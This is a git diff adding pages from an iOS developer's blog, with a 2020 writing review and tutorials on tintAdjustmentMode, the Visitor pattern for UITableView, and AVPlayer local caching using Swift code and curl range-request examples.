Home Bye Bye 2020: A Review of the Second Year on Medium
Post
Cancel

Bye Bye 2020: A Review of the Second Year on Medium

Bye Bye 2020: A Review of the Second Year on Medium

A very late review of 2020

[Image taken from the official poster of Simple Life Festival 2020, where I served as an iOS Developer for StreetVoice](https://simplelife.streetvoice.com/2020/){:target="_blank"}

Image taken from the official poster of Simple Life Festival 2020, where I served as an iOS Developer for StreetVoice

Review of the first year 2018–2019 is here.

A Difficult Year

Unrelated to work, 2020 was a difficult year for me; I went through many major setbacks, but fortunately, I got through them.

I just want to say one thing:

People should learn to cherish the present and appreciate what they have.

Work

Back to work, in 2020 I stepped out of my comfort zone and entered a new environment; this exposed me to many new things and I absorbed a lot of essential knowledge in iOS and engineering development. Although the number of articles I produced in 2020 was not as high as before, and I even stopped updating for three to four months, the quality over quantity approach paid off. The articles I wrote in 2020, though fewer, performed better than before; I am gradually making progress!

Additionally, last year I also set up my personal website using Google Sites and will continue to sync new Medium articles there.

[zhgchg.li](http://www.zhgchg.li){:target="_blank"}

zhgchg.li

Original Intention

I am still the same person; I am very lazy. I don’t write articles just for the sake of writing. Each article is a process of recording insights that I have brewed over time. If I get lazy and don’t do it in one go, I probably won’t go back to write it (but this mostly happens with unimportant or uninteresting topics).

The downside is that sometimes I get too enthusiastic and write too quickly. Typos are minor, but if the content is incorrect or incomplete and misleads people, it’s a real sin Orz. So this year, when writing articles, I will research and address any issues I can think of, even if I didn’t use them in my initial project. If I can’t address them, I will leave a note to remind readers to pay attention to that aspect.

Chrome Extension Used for Writing Articles

  • Recommending Code Medium again, which allows you to use Gist to embed beautiful code directly in Medium!

After installing, click “+” on Medium and then select the last option “<>”

The screen will split into two, and you can enter the code directly on the right:

After submitting, it will be embedded in the Medium article as a gist:

The advantage of embedding code with gist is that it supports syntax highlighting, making it easier for readers to read. The downside is that if you want to convert Medium to markdown format, the embedded code cannot be automatically converted and you have to manually Copy & Paste.

- Tried many conversion tools but none support gist extraction. If anyone knows, please share.

- Medium’s built-in code block still doesn’t support syntax highlighting, so this is the only way.

Daily traffic aggregation display, allowing you to see today’s traffic composition at a glance.

Additionally, it includes features for tracking new followers, claps, and more.

Goals for This Year

Backup Plan

Besides continuing to write; I plan to find time to convert each article into Markdown format and upload them to Github for backup, in case Medium suddenly crashes one day… Currently, I am using Typora as the editor; it’s quite handy, and I’ll introduce it later!

[Typora](http://typora.io/){:target="_blank"}

Typora

The current progress is about 15% complete, because it’s quite boring, so I’m a bit lazy, haha.

Medium’s official backup download only backs up plain text, images are still linked externally and not downloaded; moreover, the code parts are embedded and cannot be directly displayed in Markdown.

Independent Domain

It has already been deployed, please refer to “Medium Custom Domain Feature Returns”.

  • Profile page: blog.zhgchg.li (I only use the subdomain blog.zhgchg.li because the main domain has other uses)

However, I found that it affects Google SEO, so I’m still considering & testing whether to really use it.

Buy Me A Coffee!

Recently, I also activated the following services:

Anyway, I'm Idle

Anyway, I’m Idle

Statistics

Finally, let’s have some statistics!

In 2020, a total of: 16 articles were published: 3 lifestyle + 2 unboxing + 11 technical articles

Site-wide accumulation up to 2021/02/24:

  • Total views of all articles: 180,000 times (2x growth)
  • Total claps for all articles: 11,000 times (1x growth)
  • Followers: surpassed 400 (1x growth)

Articles that performed better include:

Thanks for everyone’s support and love in 2020, I will continue to work hard this year!

Your feedback is my motivation to write!

ZhgChgLi, 2021/02/24.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Medium Custom Domain Feature Returns

Password Recovery SMS Verification Code Security Issue

diff --git a/posts/6012b7b4f612/index.html b/posts/6012b7b4f612/index.html new file mode 100644 index 0000000000..e0e3976aab --- /dev/null +++ b/posts/6012b7b4f612/index.html @@ -0,0 +1,11 @@ + iOS tintAdjustmentMode Property | ZhgChgLi
Home iOS tintAdjustmentMode Property
Post
Cancel

iOS tintAdjustmentMode Property

iOS tintAdjustmentMode Property

Issue with .tintColor setting failing when presenting UIAlertController on this page’s Image Assets (Render as template)

Comparison Before and After Fix

No lengthy explanations, let’s go straight to the comparison images.

Left Before Fix/Right After Fix

Left Before Fix/Right After Fix

You can see that the ICON on the left loses its tintColor setting when UIAlertController is presented. Additionally, the color setting returns to normal once the presented window is closed.

Issue Fix

First, let’s introduce the tintAdjustmentMode property. This property controls the display mode of tintColor and has three enumeration settings:

  1. .Automatic: The view’s tintAdjustmentMode is consistent with the enclosing parent view’s setting.
  2. .Normal: Default mode, displays the set tintColor normally.
  3. .Dimmed: Changes tintColor to a low saturation, dim color (basically gray!).

The above issue is not a bug but a system mechanism:

When presenting UIAlertController, it changes the tintAdjustmentMode of the Root ViewController’s view to Dimmed (so technically, the color setting doesn’t “fail”; it’s just that the tintAdjustmentMode mode changes).

But sometimes we want the ICON color to remain consistent, so we just need to keep the tintAdjustmentMode setting consistent in the UIView’s tintColorDidChange event:

1
+2
+3
+4
+5
+
extension UIButton { 
+   override func tintColorDidChange() {
+        self.tintAdjustmentMode = .normal // Always keep normal
+    }
+}
+

extension example

The End!

It’s not a big issue, and it’s fine if you don’t change it, but it can be an eyesore.

Actually, every page that encounters presenting UIAlertController, action sheet, popover, etc., will change the view’s tintAdjustmentMode to gray, but I only noticed it on this page.

After searching for a while, I found out it was related to this property. Setting it resolved my small confusion.

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Let's Build an Apple Watch App!

Identify Your Own Calls (Swift)

diff --git a/posts/60473cb47550/index.html b/posts/60473cb47550/index.html new file mode 100644 index 0000000000..5b1c84bf2b --- /dev/null +++ b/posts/60473cb47550/index.html @@ -0,0 +1,367 @@ + Visitor Pattern in TableView | ZhgChgLi
Home Visitor Pattern in TableView
Post
Cancel

Visitor Pattern in TableView

Visitor Pattern in TableView

Enhancing the readability and extensibility of TableView using the Visitor Pattern

Photo by [Alex wong](https://unsplash.com/@killerfvith?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Alex wong

Introduction

Following the previous article on “Visitor Pattern in Swift” introducing the Visitor pattern and a simple practical application scenario, this article will discuss another practical application in iOS development.

Scenario

Developing a dynamic wall feature where various types of blocks need to be dynamically combined and displayed.

Taking StreetVoice’s dynamic wall as an example:

As shown in the image above, the dynamic wall is composed of various types of blocks dynamically combined, including:

  • Type A: Activity updates
  • Type B: Follow recommendations
  • Type C: New song updates
  • Type D: New album updates
  • Type E: New tracking updates
  • Type … and more

More types are expected to be added in the future with iterative functionality.

Issue

Without any architectural design, the code may look like this:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
+    let row = datas[indexPath.row]
+    switch row.type {
+    case .invitation:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "invitation", for: indexPath) as! InvitationCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newSong:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newSong", for: indexPath) as! NewSongCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newEvent:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newEvent", for: indexPath) as! NewEventCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newText:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newText", for: indexPath) as! NewTextCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newPhotos:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newPhotos", for: indexPath) as! NewPhotosCell
+        // config cell with viewObject/viewModel...
+        return cell
+    }
+}
+
+func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
+    let row = datas[indexPath.row]
+    switch row.type {
+    case .invitation:
+        if row.isEmpty {
+            return 100
+        } else {
+            return 300
+        }
+    case .newSong:
+        return 100
+    case .newEvent:
+        return 200
+    case .newText:
+        return UITableView.automaticDimension
+    case .newPhotos:
+        return UITableView.automaticDimension
+    }
+}
+
  • Difficult to test: It is challenging to test the corresponding logic output for each type.
  • Difficult to extend and maintain: Whenever a new type needs to be added, modifications are required in this ViewController; cellForRow, heightForRow, willDisplay… scattered across different functions, making it prone to forgetting to update or making mistakes.
  • Difficult to read: All logic is within the View itself.

Visitor Pattern Solution

Why?

Organized the object relationships as shown in the figure below:

We have many types of DataSource (ViewObject) that need to interact with multiple types of operators, which is a very typical Visitor Double Dispatch.

How?

To simplify the Demo Code, we will use PlainTextFeedViewObject for plain text feed, MemoriesFeedViewObject for daily memories, and MediaFeedViewObject for image feed to demonstrate the design.

The architecture diagram applying the Visitor Pattern is as follows:

First, define the Visitor interface, which abstractly declares the types of DataSource that operators can accept:

1
+2
+3
+4
+5
+6
+7
+
protocol FeedVisitor {
+    associatedtype T
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T?
+    func visit(_ viewObject: MediaFeedViewObject) -> T?
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T?
+    //...
+}
+

Implement the FeedVisitor interface for each operator:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
struct FeedCellVisitor: FeedVisitor {
+    typealias T = UITableViewCell.Type
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> T? {
+        return MediaFeedTableViewCell.self
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T? {
+        return MemoriesFeedTableViewCell.self
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T? {
+        return PlainTextFeedTableViewCell.self
+    }
+}
+

Implement the mapping between ViewObject <-> UITableViewCell.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
struct FeedCellHeightVisitor: FeedVisitor {
+    typealias T = CGFloat
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> T? {
+        return 30
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T? {
+        return 10
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T? {
+        return 10
+    }
+}
+

Implement the mapping between ViewObject <-> UITableViewCell Height.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
struct FeedCellConfiguratorVisitor: FeedVisitor {
+    
+    private let cell: UITableViewCell
+    
+    init(cell: UITableViewCell) {
+        self.cell = cell
+    }
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+}
+

Implement ViewObject <-> Cell how to Config mapping.

When you need to support a new DataSource (ViewObject), just add a new method in the FeedVisitor interface, and implement the corresponding logic in each operator.

DataSource (ViewObject) binding with operators:

1
+2
+3
+
protocol FeedViewObject {
+    @discardableResult func accept<V: FeedVisitor>(visitor: V) -> V.T?
+}
+

ViewObject implementation binding interface:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
struct PlainTextFeedViewObject: FeedViewObject {
+    func accept<V>(visitor: V) -> V.T? where V : FeedVisitor {
+        return visitor.visit(self)
+    }
+}
+struct MemoriesFeedViewObject: FeedViewObject {
+    func accept<V>(visitor: V) -> V.T? where V : FeedVisitor {
+        return visitor.visit(self)
+    }
+}
+

Implementation in UITableView:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+
final class ViewController: UIViewController {
+
+    @IBOutlet weak var tableView: UITableView!
+    
+    private let cellVisitor = FeedCellVisitor()
+    
+    private var viewObjects: [FeedViewObject] = [] {
+        didSet {
+            viewObjects.forEach { viewObject in
+                let cellName = viewObject.accept(visitor: cellVisitor)
+                tableView.register(cellName, forCellReuseIdentifier: String(describing: cellName))
+            }
+        }
+    }
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        tableView.delegate = self
+        tableView.dataSource = self
+        
+        viewObjects = [
+            MemoriesFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject()
+        ]
+        // Do any additional setup after loading the view.
+    }
+}
+
+extension ViewController: UITableViewDataSource {
+    func numberOfSections(in tableView: UITableView) -> Int {
+        return 1
+    }
+    
+    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
+        return viewObjects.count
+    }
+    
+    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
+        let viewObject = viewObjects[indexPath.row]
+        let cellName = viewObject.accept(visitor: cellVisitor)
+        
+        let cell = tableView.dequeueReusableCell(withIdentifier: String(describing: cellName), for: indexPath)
+        let cellConfiguratorVisitor = FeedCellConfiguratorVisitor(cell: cell)
+        viewObject.accept(visitor: cellConfiguratorVisitor)
+        return cell
+    }
+}
+
+extension ViewController: UITableViewDelegate {
+    func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
+        let viewObject = viewObjects[indexPath.row]
+        let cellHeightVisitor = FeedCellHeightVisitor()
+        let cellHeight = viewObject.accept(visitor: cellHeightVisitor) ?? UITableView.automaticDimension
+        return cellHeight
+    }
+}
+

Result

  • Testing: Complies with the Single Responsibility Principle, can test each data point for each operator
  • Scalability and Maintenance: When needing to support a new DataSource (ViewObject), just need to extend an interface in the Visitor protocol, and implement it in the individual operator Visitor. When needing to extract a new operator, just need to create a new Class for implementation.
  • Readability: Just need to browse through each operator object to understand the composition logic of each View on the entire page.

Complete Project

Murmur…

Article written during the low period of thinking in July 2022. If there are any inadequacies or errors in the content, please forgive me!

Further Reading

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Implementing iOS NSAttributedString HTML Render Yourself

iOS: Insuring Your Multilingual Strings!

diff --git a/posts/6ce488898003/index.html b/posts/6ce488898003/index.html new file mode 100644 index 0000000000..aabb3e2c19 --- /dev/null +++ b/posts/6ce488898003/index.html @@ -0,0 +1,1158 @@ + Comprehensive Guide to Implementing Local Cache with AVPlayer | ZhgChgLi
Home Comprehensive Guide to Implementing Local Cache with AVPlayer
Post
Cancel

Comprehensive Guide to Implementing Local Cache with AVPlayer

Comprehensive Guide to Implementing Local Cache with AVPlayer

AVPlayer/AVQueuePlayer with AVURLAsset implementing AVAssetResourceLoaderDelegate

Photo by [Tyler Lastovich](https://unsplash.com/@lastly?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Tyler Lastovich

[2023/03/12] Update

I have open-sourced my previous implementation, and those in need can use it directly.

  • Customizable Cache strategy, can use PINCache or others…
  • Externally, just call the make AVAsset factory, input the URL, and the AVAsset will support Caching
  • Implemented Data Flow strategy using Combine
  • Wrote some tests

Introduction

It’s been more than half a year since the last post “Exploring Methods for Implementing iOS HLS Cache”, and the team has always wanted to implement the cache-while-playing feature because it greatly impacts costs. We are a music streaming platform, and if we have to fetch the entire file every time the same song is played, it would be a huge data drain for us and for users who don’t have unlimited data plans. Although music files are at most a few MB, it all adds up to significant costs!

Additionally, since the Android side has already implemented the cache-while-playing feature, we previously compared the costs and found that after launching on Android, there was a significant reduction in data usage. With relatively more users on iOS, we should see even better data savings.

Based on the experience from the previous post, if we continue to use HLS (.m3u8/.ts) to achieve our goal, things will become very complicated and possibly unachievable. So, we decided to revert to using mp3 files, which allows us to directly use AVAssetResourceLoaderDelegate for implementation.

Goals

  • Music that has been played will generate a local Cache backup
  • When playing music, first check if there is a local Cache to read from; if so, do not request the file from the server again
  • Can set Cache strategies; total capacity limit, start deleting the oldest Cache files when exceeded
  • Do not interfere with the original AVPlayer playback mechanism (The fastest method would be to use URLSession to download the mp3 and feed it to AVPlayer, but this would lose the ability to play while downloading, making users wait longer and consuming more data)

Preliminary Knowledge (1) — HTTP/1.1 Range Requests, Connection Keep-Alive

HTTP/1.1 Range Requests

First, we need to understand how data is requested from the server when playing videos or music. Generally, video and music files are very large, and it is not feasible to wait until the entire file is fetched before starting playback. The common approach is to fetch data as it plays, only needing the data for the currently playing segment.

The way to achieve this is through HTTP/1.1 Range, which only returns the specified byte range of data, for example, specifying 0–100 will only return the 100 bytes of data from 0–100. Using this method, data can be fetched in segments and then assembled into a complete file. This method can also be applied to resume interrupted downloads.

How to Apply?

We will first use HEAD to check the Response Header to understand if the server supports Range requests, the total length of the resource, and the file type:

1
+
curl -i -X HEAD http://zhgchg.li/music.mp3
+

Using HEAD, we can get the following information from the Response Header:

  • Accept-Ranges: bytes indicates that the server supports Range requests. If this value is missing or is Accept-Ranges: none, it means it does not support it.
  • Content-Length: The total length of the resource. We need to know the total length to request data in segments.
  • Content-Type: The file type, which is information needed by AVPlayer when playing.

However, sometimes we also use GET Range: bytes=0–1, which means we request data in the range of 0–1, but we don’t actually care about the content of 0–1. We just want to see the Response Header information; the native AVPlayer uses GET to check, so this article will also use it.

But it is more recommended to use HEAD to check. One method is more correct, and if the server does not support the Range function, using GET will force the download of the entire file.

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–1"
+

Using GET, we can get the following information from the Response Header:

  • Accept-Ranges: bytes indicates that the server supports Range requests. If this value is missing or is Accept-Ranges: none, it means it does not support it.
  • Content-Range: bytes 0–1/total length of the resource, the number after the “/” is the total length of the resource. We need to know the total length to request data in segments.
  • Content-Type: The file type, which is information needed by AVPlayer when playing.

Knowing that the server supports Range requests, we can initiate segmented Range requests:

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–100"
+

The server will return 206 Partial Content:

1
+2
+3
+4
+
Content-Range: bytes 0-100/total length
+Content-Length: 100
+...
+(binary content)
+

At this point, we get the data for Range 0–100 and can continue to make new requests for Range 100–200, 200–300, and so on until the end.

If the requested Range exceeds the total length of the resource, it will return 416 Range Not Satisfiable.

Additionally, to get the complete file data, you can request Range 0-total length or use 0-:

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–"
+

You can also request multiple Range data in the same request and set conditions, but we don’t need that. For more details, you can refer here.

Connection Keep-Alive

HTTP 1.1 is enabled by default. This feature allows real-time retrieval of downloaded data, for example, a 5 MB file can be retrieved in 16 KB, 16 KB, 16 KB… increments, without waiting for the entire 5 MB to be downloaded.

1
+
Connection: Keep-Alive
+

What if the server does not support Range or Keep-Alive ?

Then there’s no need to do so much. Just use URLSession to download the mp3 file and feed it to the player… But this is not the result we want, so you can ask the backend to modify the server settings.

Preliminary Knowledge (2) — How does the native AVPlayer handle AVURLAsset resources?

When we use AVURLAsset to initialize with a URL resource and assign it to AVPlayer/AVQueuePlayer to start playing, as mentioned above, it will first use GET Range 0–1 to obtain whether it supports Range requests, the total length of the resource, and the file type.

With the file information, a second request will be initiated to request data from 0 to the total length.

⚠️ AVPlayer will request data from 0 to the total length and will cancel the network request once it feels it has enough data (e.g., 16 kb, 16 kb, 16 kb…) (so it won’t actually fetch the entire file unless the file is very small).

It will continue to request data using Range after resuming playback.

(This part is different from what I previously thought; I assumed it would request 0–100, 100–200, etc.)

AVPlayer Request Example:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
1. GET Range 0-1 => Response: Total length 150000 / public.mp3 / true
+2. GET 0-150000...
+3. 16 kb receive
+4. 16 kb receive...
+5. cancel() // current offset is 700
+6. Continue playback
+7. GET 700-150000...
+8. 16 kb receive
+9. 16 kb receive...
+10. cancel() // current offset is 1500
+11. Continue playback
+12. GET 1500-150000...
+13. 16 kb receive
+14. 16 kb receive...
+16. If seek to...5000
+17. cancel(12.) // current offset is 2000
+18. GET 5000-150000...
+19. 16 kb receive
+20. 16 kb receive...
+...
+

⚠️ In iOS ≤12, it will first send a few shorter requests to test (?), and then send a request for the total length; in iOS ≥ 13, it will directly send a request for the total length.

Another side issue is that while observing how resources are fetched, I used the mitmproxy tool for sniffing. It showed errors, waiting for the entire response to come back before displaying it, instead of showing segments and using persistent connections for continued downloads. This scared me! I thought iOS was dumb enough to fetch the entire file each time! Next time, I need to be a bit skeptical when using tools Orz.

Timing of Cancel Initiation

  1. As mentioned earlier, the second request, which requests resources from 0 to the total length, will initiate a Cancel request once there is enough data.
  2. When seeking, it will first initiate a Cancel request for the previous request.

⚠️ Switching to the next resource in AVQueuePlayer or changing the playback resource in AVPlayer will not initiate a Cancel request for the previous track.

AVQueue Pre-buffering

It also calls the Resource Loader to handle it, but the requested data range will be smaller.

Implementation

With the above preliminary knowledge, let’s look at how to implement the local cache function of AVPlayer.

As mentioned earlier, AVAssetResourceLoaderDelegate allows us to implement the Resource Loader for the Asset.

The Resource Loader is essentially a worker. Whether the player needs file information or file data, and the range, it tells us, and we do it.

I saw an example where a Resource Loader serves all AVURLAssets, which I think is wrong. It should be one Resource Loader serving one AVURLAsset, following the lifecycle of the AVURLAsset, as it belongs to the AVURLAsset.

A Resource Loader serving all AVURLAssets in AVQueuePlayer would become very complex and difficult to manage.

Timing of Entering Custom Resource Loader

Note that implementing your own Resource Loader doesn’t mean it will handle everything. It will only use your Resource Loader when the system cannot recognize or handle the resource.

Therefore, before giving the URL resource to AVURLAsset, we need to change the Scheme to our custom Scheme, not http/https… which the system can handle.

1
+
http://zhgchg.li/music.mp3 => cacheable://zhgchg.li/music.mp3
+

AVAssetResourceLoaderDelegate

Only two methods need to be implemented:

  • func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool:

This method asks us if we can handle this resource. Return true if we can, return false if we cannot (unsupported URL).

We can extract what is being requested from loadingRequest (whether it is the first request for file information or a data request, and if it is a data request, what the Range is). After knowing the request, we initiate our own request to fetch the data. Here we can decide whether to initiate a URLSession or return Data from local storage.

Additionally, we can perform Data encryption and decryption operations here to protect the original data.

  • func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest):

As mentioned earlier, Cancel initiation timing when Cancel is initiated…

We can cancel the ongoing URLSession request here.

Local Cache Implementation

For the Cache part, I directly use PINCache, delegating the Cache work to it, avoiding issues like Cache read/write DeadLock and implementing Cache LRU strategy.

️️⚠️️️️️️️️️️️OOM Warning!

Since this is for caching music files with a size of around 10 MB, PINCache can be used as a local Cache tool. However, this method cannot be used for serving videos (which may require loading several GB of data into memory at once).

For such requirements, you can refer to the approach of using FileHandle’s seek read/write features.

Let’s Get Started!

Without further ado, here is the complete project:

AssetData

Local Cache data object mapping implements NSCoding, as PINCache relies on the archivedData method for encoding/decoding.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
import Foundation
+import CryptoKit
+
+class AssetDataContentInformation: NSObject, NSCoding {
+    @objc var contentLength: Int64 = 0
+    @objc var contentType: String = ""
+    @objc var isByteRangeAccessSupported: Bool = false
+    
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentLength, forKey: #keyPath(AssetDataContentInformation.contentLength))
+        coder.encode(self.contentType, forKey: #keyPath(AssetDataContentInformation.contentType))
+        coder.encode(self.isByteRangeAccessSupported, forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported))
+    }
+    
+    override init() {
+        super.init()
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        self.contentLength = coder.decodeInt64(forKey: #keyPath(AssetDataContentInformation.contentLength))
+        self.contentType = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.contentType)) as? String ?? ""
+        self.isByteRangeAccessSupported = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) as? Bool ?? false
+    }
+}
+
+class AssetData: NSObject, NSCoding {
+    @objc var contentInformation: AssetDataContentInformation = AssetDataContentInformation()
+    @objc var mediaData: Data = Data()
+    
+    override init() {
+        super.init()
+    }
+
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation))
+        coder.encode(self.mediaData, forKey: #keyPath(AssetData.mediaData))
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        self.contentInformation = coder.decodeObject(forKey: #keyPath(AssetData.contentInformation)) as? AssetDataContentInformation ?? AssetDataContentInformation()
+        self.mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data ?? Data()
+    }
+}
+

AssetData contains:

  • contentInformation : AssetDataContentInformation AssetDataContentInformation: Contains whether Range requests are supported (isByteRangeAccessSupported), total resource length (contentLength), file type (contentType)
  • mediaData : Original audio Data (large files here may cause OOM)

PINCacheAssetDataManager

Encapsulates the logic for storing and retrieving Data in PINCache.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+
import PINCache
+import Foundation
+
+protocol AssetDataManager: NSObject {
+    func retrieveAssetData() -> AssetData?
+    func saveContentInformation(_ contentInformation: AssetDataContentInformation)
+    func saveDownloadedData(_ data: Data, offset: Int)
+    func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data?
+}
+
+extension AssetDataManager {
+    func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? {
+        if offset <= from.count && (offset + with.count) > from.count {
+            let start = from.count - offset
+            var data = from
+            data.append(with.subdata(in: start..<with.count))
+            return data
+        }
+        return nil
+    }
+}
+
+//
+
+class PINCacheAssetDataManager: NSObject, AssetDataManager {
+    
+    static let Cache: PINCache = PINCache(name: "ResourceLoader")
+    let cacheKey: String
+    
+    init(cacheKey: String) {
+        self.cacheKey = cacheKey
+        super.init()
+    }
+    
+    func saveContentInformation(_ contentInformation: AssetDataContentInformation) {
+        let assetData = AssetData()
+        assetData.contentInformation = contentInformation
+        PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil)
+    }
+    
+    func saveDownloadedData(_ data: Data, offset: Int) {
+        guard let assetData = self.retrieveAssetData() else {
+            return
+        }
+        
+        if let mediaData = self.mergeDownloadedDataIfIsContinuted(from: assetData.mediaData, with: data, offset: offset) {
+            assetData.mediaData = mediaData
+            
+            PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil)
+        }
+    }
+    
+    func retrieveAssetData() -> AssetData? {
+        guard let assetData = PINCacheAssetDataManager.Cache.object(forKey: cacheKey) as? AssetData else {
+            return nil
+        }
+        return assetData
+    }
+}
+

Here, we extract the Protocol because we might use other storage methods to replace PINCache in the future. Therefore, other programs should rely on the Protocol rather than the Class instance when using it.

⚠️ mergeDownloadedDataIfIsContinuted This method is extremely important.

For linear playback, you just need to keep appending new Data to the Cache Data, but the real situation is much more complicated. The user might play Range 0~100 and then directly Seek to Range 200–500 for playback. How to merge the existing 0-100 Data with the new 200–500 Data is a big problem.

⚠️ Data merging issues can lead to terrible playback glitches…

The answer here is, we do not handle non-continuous data; because our project is only for audio, and the files are just a few MB (≤ 10MB), considering the development cost, we didn’t do it. I only handle merging continuous data (for example, currently having 0~100, and the new data is 75~200, after merging it becomes 0~200; if the new data is 150~200, I will ignore it and not merge).

If you want to consider non-continuous merging, besides using other methods for storage (to identify the missing parts), you also need to be able to query which segment needs a network request and which segment is taken locally during the Request. Considering this situation, the implementation will be very complicated.

Image source: [iOS AVPlayer Video Cache Design and Implementation](http://chuquan.me/2019/12/03/ios-avplayer-support-cache/){:target="_blank"}

Image source: iOS AVPlayer Video Cache Design and Implementation

CachingAVURLAsset

AVURLAsset weakly holds the ResourceLoader Delegate, so it is recommended to create an AVURLAsset Class that inherits from AVURLAsset, internally create, assign, and hold the ResourceLoader, allowing it to follow the lifecycle of AVURLAsset. Additionally, you can store information such as the original URL, CacheKey, etc.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+
class CachingAVURLAsset: AVURLAsset {
+    static let customScheme = "cacheable"
+    let originalURL: URL
+    private var _resourceLoader: ResourceLoader?
+    
+    var cacheKey: String {
+        return self.url.lastPathComponent
+    }
+    
+    static func isSchemeSupport(_ url: URL) -> Bool {
+        guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else {
+            return false
+        }
+        
+        return ["http", "https"].contains(components.scheme)
+    }
+    
